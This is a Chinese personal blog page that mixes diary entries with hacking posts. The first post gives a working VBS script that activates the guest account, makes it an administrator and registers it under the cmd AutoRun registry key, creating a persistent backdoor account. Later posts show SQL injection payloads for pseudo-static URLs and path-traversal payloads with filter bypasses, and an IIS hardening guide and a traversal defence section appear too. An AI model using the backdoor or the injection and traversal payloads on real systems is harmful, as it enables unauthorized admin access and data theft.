小不点博客
帮助别人，快乐自己！
Windows不死帐号
六 9th
新建文本文档，写入：
dim wsh set wsh=createobject(“wscript.shell”) wsh.run “net user guest /active:yes”,0 （激活guest账号） wsh.run “net user guest xbdian”,0 （修改guest密码为xbdian） wsh.run “net localgroup administrators guest /add”,0 (添加guest到管理组)
然后把这个.txt文件的扩展名改为 .vbs即可
然后打开注册表修改注册标里面的：
hkey_local_machine\software\microsoft\command processor\autorun
在键值里面加入你vbs文件的路径就ok，然后运行vbs文件，不死账号出来拉
如果管理员把你动过手脚的guest账号停了，当时他运行cmd的时候又自动启动了guest账号，因为上面的修改已经让我们的vbs文件和cmd.exe 产生了关联运行cmd他就找到注册表里面的路径运行那vbs文件
伪静态注入技术
六 9th
常规的伪静态页面如下：http://www.XXX.com/play/Diablo.html，在看到之前先要确定这个页面是静态还是伪静态，鉴别方法很多，也很简单这里就不说了。
例如关联的动态页面是game.php ，那么当用户访问后程序会自动转换成类似http://www.XXX.com/game.php?action=play&name=Diablo 的形式，当然这部分是PHP执行的所以在访问时看不到。
假如name=Diablo这个参数有注入点但是访问的是伪静态页面，那么注入的语句其实差不多，不过如果是MYSQL数据库是不能用注释符的,因为注释的斜杠会被当成目录访问，那么就会出现问题，所以这里的注入需要把语句补全。
注入点检测可以用：http://www.XXX.com/play/Diablo’ and 1=’1.html与http://www.XXX.com/play/Diablo’ and 1=’2.html来判断，联合查询我也试过，不过失败了。
我用的语句如下：http://www.XXX.com/play/diablo’ and 1=2 union select 1,2… from information_schema.columns where 1=’1.html，但是测试了N次都不能成功，有可能程序的SQL语句后面还有其他条件，具体原因没仔细看。
所以这个时候只能用盲注来检测，不过因为伪静态注入的URL比较特殊，一般的注入工具是利用不了的，所以就把刺猬写的COOKIES注入中转器的 get方式注入的代码修改了一下，只要把注入的参数写成Diablo ，然后在提交的语句后面加上.html那么就可以直接放到穿山甲里注入了。
注入的速度就看中转的速度了，感觉用低版本的穿山甲效果更好，高版本有可能因为速度比较快所以在猜解字母的时候会导致部分内容检测不到。 以上是我在伪静态注入时的一些方法，也许有些地方写的不正确还请各位大牛指出，我不会写程序，最多只能修改代码，所以如果有大牛可以写一款伪静态注入的工具那么感激不尽！
From : http://www.nuanyue.com/%e4%bc%aa%e9%9d%99%e6%80%81%e6%b3%a8%e5%85%a5%e6%8a%80%e6%9c%af.html
小不点之选择
六 9th
生活啊，太有趣了。你不知道那天会发生什么，也不知道自己会如何对待。
现在的我，又面临选择了，感觉真的非常的糟，因为谁都怕失败，所以不但的犹豫，我讨厌这样，但我摆脱了。总之一个字“烦”
谁能告诉 小不点 该如何选择啊…
非主流Web安全漏洞扫描器 SharinGan1.2.1 -中文版
五 30th
特点:
支持漏洞类型: Sql INjection , Xss ,LFI/RFI ,Upload, Url Redict , Admin , Backup File ,Cgi ,APP SERVER Vulnerability,源代码暴露 本来想支持更多漏洞，但不是商业扫描器，放弃了! 支持协议: Http /Https , Http Auth ,Http Proxy , Cookie 漏洞定位: 指纹+error Base 扫描速度: 70~100Request/秒 稳定: 不会扫着扫着就挂了，响应快速 爬虫: 解析tag提取url,非传统正则匹配 概括:快速扫描，超强猜解,一切都是非主流的手段,不模仿任何现存web扫描器，自主特点。 有图，操作简单 (安装:如果运行不了，那你就先装vcredist_x86.exe。xp必装!) 下载地址浅析路径遍历漏洞
五 30th
许多的Web应用程序一般会有对服务器的文件读取查看的功能，大多会用到提交的参数来指明文件名，形如：http://www.nuanyue.com/getfile=image.jgp
当服务器处理传送过来的image.jpg文件名后，Web应用程序即会自动添加完整路径，形如“d://site/images/image.jpg”，将读取的内容返回给访问者。
初看，在只是文件交互的一种简单的过程，但是由于文件名可以任意更改而服务器支持“~/”，“/..”等特殊符号的目录回溯，从而使攻击者越权访问或者覆盖敏感数据，如网站的配置文件、系统的核心文件，这样的缺陷被命名为路径遍历漏洞。在检查一些常规的Web应用程序时，也常常有发现，只是相对隐蔽而已。
发现路径遍历漏洞路径遍历漏洞的发现，主要是对Web应用程序的文件读取交互的功能块，进行检测，面对这样的读取方式：
“http://www.nuanyue.com/test/downfile.jsp?filename=fan.pdf”
我们可以使用 “../”来作试探，比如提交Url：“getfile=/fan/fan/*53.pdf”，而系统在解析是“d://site/test/pdf/fan/fan/../../*53.pdf”，通过“../”跳转目录“/fan”，即“d://site/test/pdf/*53.pdf”，返回了读取文件的正常的页面。
路径遍历漏洞隐藏一般在文件读取或者展示图片功能块这样的通过参数提交上来的文件名，从这可以看出来过滤交互数据是完全有必要的。恶意攻击者当然后会利用对文件的读取权限进行跨越目录访问，比如访问一些受控制的文件，“../../../../../../../etc/passwd“或者”../../../../boot.ini“，当然现在部分网站都有类似Waf的防护设备，只要在数据中会有/etc /boot.ini等文件名出直接进行拦截。
遍历路径攻击变异路径遍历漏洞是很常见的，在Web应用程序编写过程，会有意识的对传递过来的参数进行过滤或者直接删除，存在风险的过滤方式，一般可以采用如下方式进行突破：
以下是一些绕过的方法，当然在实际运行过程中，可以组合使用。
(1) 加密参数传递的数据；在Web应用程序对文件名进行加密之后再提交，比如：“downfile.jsp?filename= ZmFuLnBkZg- “，在参数filename用的是Base64加密，而攻击者要想绕过，只需简单的将文件名加密后再附加提交即可。所以说，采用一些有规律或者轻易能识别的加密方式，也是存在风险的。
(2) 编码绕过，尝试使用不同的编码转换进行过滤性的绕过，比如Url编码，通过对参数进行Url编码提交，“downfile.jsp?filename= %66%61%6E%2E%70%64%66“来绕过。
(3) 目录限定绕过；在有些Web应用程序是通过限定目录权限来分离的。当然这样的方法不值得可取的，攻击者可以通过某些特殊的符号“~“来绕过。形如这样的提交“downfile.jsp?filename=~/../boot”。能过这样一个符号，就可以直接跳转到硬盘目录下了。
(4) 绕过文件后缀过滤；一些Web应用程序在读取文件前，会对提交的文件后缀进行检测，攻击者可以在文件名后放一个空字节的编码，来绕过这样的文件类型的检查。例如：../../../../boot.ini%00.jpg，Web应用程序使用的Api会允许字符串中包含空字符，当实际获取文件名时，则由系统的Api会直接截短，而解析为“../../../../boot.ini”。在类Unix的系统中也可以使用Url编码的换行符，例如：../../../etc/passwd%0a.jpg如果文件系统在获取含有换行符的文件名，会截短为文件名。也可以尝试%20，例如: ../../../index.jsp%20
(5) 绕过来路验证。在一些Web应用程序中，会有对提交参数的来路进行判断的方法，而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http Referer即可，这主要是原因Http Referer是由客户端浏览器发送的，服务器是无法控制的，而将此变量当作一个值得信任源是错误的。
防范遍历路径漏洞在防范遍历路径漏洞的方法中，最有效的是权限的控制，谨慎的处理向文件系统API传递过来的参数路径。主要是因为大多数的目录或者文件权限均没有得到合理的配置，而Web应用程序对文件的读取大多依赖于系统本身的API，在参数传递的过程，如果没有得严谨的控制，则会出现越权现象的出现。在这种情况下，Web应用程序可以采取以下防御方法，最好是组合使用。
(1) 数据净化，对网站用户提交过来的文件名进行硬编码或者统一编码，对文件后缀进行白名单控制，对包含了恶意的符号或者空字节进行拒绝。
(2) Web应用程序可以使用chrooted环境访问包含被访问文件的目录，或者使用绝对路径+参数来控制访问目录，使其即使是越权或者跨越目录也是在指定的目录下。
总结路径遍历漏洞允许恶意攻击者突破Web应用程序的安全控制，直接访问攻击者想要的敏感数据 ，包括配置文件、日志、源代码等，配合其它漏洞的综合利用，攻击者可以轻易的获取更高的权限，并且这样的漏洞在发掘上也是很容易的，只要对Web应用程序的读写功能块直接手工检测，通过返回的页面内容来判断，是很直观的，利用起来也相对简单。
永久链接 : http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html
小不点的想法
五 30th
今天看到朋友给我的留言，跟平常嘛也没什么不同的，以前也说过这样的话，但这次突然感觉有点不一样的味道。
现在我的选择和我的职业以及之前我做事的心态，应该是决定了我以后的生活方式和事业的发展方向吧。虽然他们都是说我很小，其实看年龄我也不小了，自己也曾经想以这个为借口多玩几年或者说到现在我还有这样的想法，但人又不能总是玩，毕竟是要生活、生存的，自己也想过做些事情，可似乎没有想象中的那么简单，所以也都松懈了。
三十而立，看似现在的我离三十还有些远，其实时间也是非常快的，即使到了三十搞出了点名堂，感觉也不是我想要，由于自己的好强，我更希望早点成功。可看看现在貌似一点基础都没了，有点担心啊，不过打心底我是自信的。。。
为自己加油也为朋友加油吧！！！
想说的话
五 29th
这几天发生了很多，想到的想不到的都有，但我也不怎么感到意外，因为我的自我调节能力是相当到位了。
原本想试着让它能结出果子，可现在是连花都没开完就结束了。我不否认自己也有些问题，但毕竟我要坚守自己的原则。
朋友们也常说你不善于和女孩交往（谈朋友的那种啊），我一直不信，到现在我还是不信，毕竟没有和自己非常爱的女生相处过，所以我否认。也许是跟自己的一个习惯有关，当有些条件还没齐全时，我就不怎么想去做那件事情，因为我想做就做到最好，但当然也不是说没达到我就不做，毕竟有些东西是不能十全十美的，这个还明白的。
他们很多时候都说，你跟电脑过算了，我不知道为什么他们会这样的话，我难道有那么痴迷吗，我感觉只是我在烦恼时把玩电脑当成消除烦恼的一种方式而已，因为这样我可以忘记一些不愉快的，当同时也能学到新的知识这不是很好吗，也不能就说我心里只有电脑了.
哎，该说的都说了，不写了。。。
Web服务器的安全设置
五 29th
原创作者：阿呆&柔肠寸断 [3.A.S.T] 信息来源：3.A.S.T网络安全团队 （www.3ast.com.cn） 该文章已经发表在《黑客X档案》09第三期，转载请说明出处
引入：
今天我所说的Web服务器安全是从安全设置出发的，所以即使你不会代码，我相信按照我的方法也能做到相应的安全。
攻击
1、旁注
如今在网络上对于网站的攻击，我们经常听到一个名词——旁注。那么旁注到底是个什么意思呢？顾名思意就是说我们要攻击一个网站或者一台服务器， 在正面交锋中，我们无法将其拿下，那么我们就从旁边试图突破，然后再转到目标上来将其拿下；举个形象点的例子就是说，我们要进入一间房子，发现正门进不去，我们会怎么进去？有些人肯定会马上说翻窗户，对了，这里的翻窗户实际上就是我们的旁注的意思。我这样说大家应该理解了吧！
2、上传漏洞
在现在对于网站的攻击方法非常多，这里提到的上传漏洞也是其中一种，其实际意思就是说网站代码有漏洞，我们可以通过直接上传或者通过修改上传数据包的方式来将我们的ASP木马上传到服务器，从而得到webshell。至于是如何操作的，网络上相关的教程比比皆是，我在这就不浪费文字了。
思考：
不管你是如何得到别人的webshell的，只要你得到了webshell了，下面面临的最大问题就是获取服务器的admin权限，当然关于如何提权，也不是我今天要讲的内容，我们要思考的是，如何是防止别人提权及怎样通过BT的安全设置来妨碍那些所谓的“黑客”！
分析：
网站被入侵一般情况都是网站代码的问题，如果说你不会代码，又想要保障该网站的安全，那是有点困难的，但是想要保障服务器的安全，除开代码部分我们还是有方法的，下面我将从几个方面给大家说说一台虚拟主机应该如何来配置，从而可以使我们的服务器安全。
实战：
1、整体权限的把握
想要做权限那么先要保证你的磁盘的文件系统为NTFS，这里我强烈建议那些想架设网站的和已经是ISP的人员这么做，因为这能够大大的提高服务器的安全性，附上FAT/FAT32转NTFS的命令：
convert 盘符 /fs:ntfs /x
整体的权限我个人的习惯是这样的，再次说明这只是我的个人习惯，我会将每个磁盘的权限设置为只有administrators跟system完全控制的权限，其他的任何组，任何用户，我都不再给权限，如下图：
system与上面的一样，所以我只放出一章图！
注意：我上面只放出一张图，并不是说只有C盘这样设置，是每个分区都要这样设置。
到此我们的整体权限可以说是基本完成，当然后面肯定还有需要更改的地方，大家慢慢看，等会就知道了！
2、默认站点的删除
为什么要删除，相信大家都能够想明白，原因是因为，你知道默认站点的路径黑客也是知道的，所以没必要给黑客任何机会，所以毫不犹豫的删除吧！
3、建立整体目录
这只是为了方便自己日后管理。 比方说，我会将我要架设的站点全部放置在某一个分区的Web文件夹内，以后自己看见了，就知道，这个文件夹是自己专门用来放网站的，这个里面全部都是服务器上的网站。图略，步骤略。
4、单一的站点单一的用户
这是什么意思呢？且听我慢慢道来！ 所谓单一的站点单一的用户，这个方法是针对那些做虚拟主机的服务商而言的，试想一下，如果所有站点都是使用的同一个用户（IUSR_机器名），那黑客拿下一个站点的权限，岂不是整个虚拟主机上的站点都被人拿到了，那损失就大了，具体的设置方法如下：
a、首先建立一个guests组的用户，比方说站点为aaa那么我们就建立一个aaa的用户，密码也为aaa（这是为了方便自己日后管理，免得站点多了，密码忘记了），将这个用户从users组删除并且加入到guests组，相关命令如下：
net user aaa aaa /add net localgroup users aaa /del net localgroup guests aaa /add
b、然后将上面建立的用户分别应用到与根目录上，步骤如图：
从上图可知aaa用户对于aaa站点的更目录拥有权限，权限的分配如上图，这个步骤是对于站点目录而言。
下图是对IIS的设置，右键点击aaa站点，选择【属性】-【目录安全性】-【身份验证和访问控制】-【编辑】
将aaa用户填写进去，如下图：
至此，单一站点单一用户设置完成，至于这样设置之后为什么我们访问站点不会要求我们输入用户名的问题，由于时间关系这里我不做解释，大家先依葫芦画瓢的按我的步骤做吧！
特别注意：我这里只说明了aaa站点跟aaa用户的设置，如果有bbb站点，那么你就应该建立一个bbb用户，然后按照上面的操作，将上面的aaa全部换成bbb即可。
设置到这里，服务器的安全其实也就马马虎虎了，至少一个站点被入侵，其他的站点是不会有事情的。
5、防止上传漏洞的IIS设置
插入几句话：我们知道一个好的站点，肯定是需要上传功能的，也正是因为这个原因导致很多网站被入侵，那么对于上传文件夹我们应该如何处理呢！下面我将假设aaa站点内存在一个专门用来存放用户上传文件的文件夹“uploadfiles”，然后对其进行设置，以下设置在IIS内完成，如下图：
在IIS中找到这个文件夹右键点击-【属性】-【目录】-【执行权限】，将原来的【纯脚本】改为【无】
为什么要这样设置呢？原因是因为，我们知道用户上传的文件要么是一些exe文件，要么是一些图片或者一些rar文件，而这些文件是绝对不会存在需要IIS解释的脚本的，也就是说这些文件根本不需要解释，可以被我们直接浏览，那我们 为什么还给它一个执行权限为【纯脚本】让黑客有机可乘呢，改为【无】之后，用户上传文件，即使是ASP木马，用户也浏览不了了，这不是很好么！
6、删除IIS中不必要的关联
在IIS中，不管你是什么站点，是ASP的也好，是PHP的也好，实际上都是需要一个解释器对相应的ASP脚本语言、PHP脚本语言进行解释的，我们用户通过IE浏览到的页面，其实都是IIS解释之后的结果，就我个人熟识的，一个站点，我还没看见有几种脚本语言的，所以当你知道这个原理之后，我就问一下，如果我们的站点只是一个ASP的站点，我们有必要让我们的站点上面还存在PHP的解释器吗？答案就不言而喻了！操作步骤如下图：
在鼠标右键点击该站点选择属性-【主目录】-【配置】-【映射】-【应用程序扩展】，将里面不需要的全部删除，如上图所示！
这种操作之后，就可以防止黑客上传一些后缀为asa，cer的木马来得到webshell了！
7、防止数据库被下载
我们知道网站最核心的东西就是它的数据库，很多黑客就围绕着数据库不知道下了多少心事，因为黑客知道，只要能把网站的数据库下载下来，目的差不多完成了一大半，那么我们应该如何来防止数据库下载呢？下面教给大家一个终极办法，从上一个步骤的说明大家可以知道，用户通过IE浏览网页都是浏览的IIS解释之后的结果，那么，我们可以添加一个无用的关联，使这个关联来解释我们的mdb文件，这个时候，黑客就无法来下载我们站点的数据库了，即使下载下来，也不用怕，因为那数据库已经是个乱七八糟的数据库了，为什么这么说，举个例子，我们有一篇英文文章，结果你找来一个德语翻译来翻译，最后的东西你能看明白吗？自己慢慢去体会吧！操作如下图：
按照上一个步骤的方法打开上图的地方之后点击【添加】，然后为.mdb创建一个新的关联，上面的【可执行文件】随便找一个.dll的文件就可以了！但是记住，千万不要选择asp.dll文件就可以了，原因，哎哟，一句两句解释不清楚，呵呵，反正记住我的忠告吧！呵呵！
8、对站点的文件夹的权限灵活设置（新手慎用）
这一步骤，我就不截图了，因为我怕，有人看了图不看我写的！我只给大家一个思路，比如你对你的站点非常熟悉，知道哪些目录是需要写权限， 哪些目录是不需要写权限的，那么你就根据自己的思路，自由设置，如果不熟悉这个步骤可以省略！因为上面的设置个人觉得已经够黑客忙一阵子了！ (*^__^*) 嘻嘻……！
最后送大家一句话“没有绝对安全的服务器，只有不断安全的服务器”，所以说并不是按照我的步骤设置完成了，你的服务器就没有任何问题了，我希望大家能在学习中有所发现，能够提出更加完善的“服务器安全方案”！
再给大家一个公式：最小的权限+最少的服务=最大的安全。。。。
更多 >
近期评论